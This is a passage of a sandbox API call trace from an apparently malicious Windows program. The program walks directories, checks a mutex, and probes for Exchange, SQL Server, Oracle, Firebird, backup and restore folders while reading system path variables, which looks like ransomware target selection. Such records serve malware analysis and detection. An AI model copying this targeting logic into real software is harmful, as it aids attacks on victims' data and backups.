cAlternateFileName="")) returned 1 [0047.017] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.017] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.017] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.017] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.018] GlobalUnlock (hMem=0x44000c) returned 0 [0047.018] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.018] GlobalLock (hMem=0x440004) returned 0x553188 [0047.018] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.018] GlobalUnlock (hMem=0x44000c) returned 0 [0047.018] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.018] GlobalUnlock (hMem=0x440004) returned 0 [0047.018] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.018] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0047.018] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.018] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.018] GlobalLock (hMem=0x440004) returned 0x551178 [0047.018] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.018] GlobalUnlock (hMem=0x440004) returned 0 [0047.018] GlobalLock (hMem=0x440004) returned 0x551178 [0047.018] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.018] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.018] GlobalUnlock (hMem=0x440004) returned 0 [0047.018] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.018] GlobalUnlock (hMem=0x44000c) returned 0 [0047.018] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.018] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0047.018] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.018] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.018] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.018] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.018] GlobalUnlock (hMem=0x44000c) returned 0 [0047.018] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.018] GlobalLock (hMem=0x440004) returned 0x553188 [0047.018] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.018] GlobalUnlock (hMem=0x44000c) returned 0 [0047.018] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.018] GlobalUnlock (hMem=0x440004) returned 0 [0047.018] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.019] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0047.019] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.019] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.019] GlobalLock (hMem=0x440004) returned 0x551178 [0047.019] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.019] GlobalUnlock (hMem=0x440004) returned 0 [0047.019] GlobalLock (hMem=0x440004) returned 0x551178 [0047.019] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.019] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.019] GlobalUnlock (hMem=0x440004) returned 0 [0047.019] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.019] GlobalUnlock (hMem=0x44000c) returned 0 [0047.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.019] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0047.019] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.019] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.019] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0047.019] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.019] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.019] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0047.019] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.019] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.019] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0047.019] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.019] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.020] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.020] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.020] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT") returned 1 [0047.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@◺R◎R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.020] GetLastError () returned 0x3 [0047.020] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18䀴Q\x181")) returned 0xffffffff [0047.020] GetLastError () returned 0x2 [0047.020] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@♔R企@\x18?T\x18;")) returned 0xffffffff [0047.021] GetLastError () returned 0x2 [0047.021] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18D")) returned 0xffffffff [0047.021] GetLastError () returned 0x2 [0047.021] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18♔R\x18j")) returned 0xffffffff [0047.021] GetLastError () returned 0x2 [0047.021] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18q")) returned 0xffffffff [0047.022] GetLastError () returned 0x2 [0047.022] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\♐RP") returned 6 [0047.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⎌R企@\x18?T\x18y")) returned 0xffffffff [0047.022] GetLastError () returned 0x2 [0047.022] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x81")) returned 0xffffffff [0047.022] GetLastError () returned 0x2 [0047.022] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.022] GetLastError () returned 0x2 [0047.022] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⎌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.022] GetLastError () returned 0x2 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x97")) returned 0xffffffff [0047.023] GetLastError () returned 0x2 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0047.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.023] CharLowerBuffW 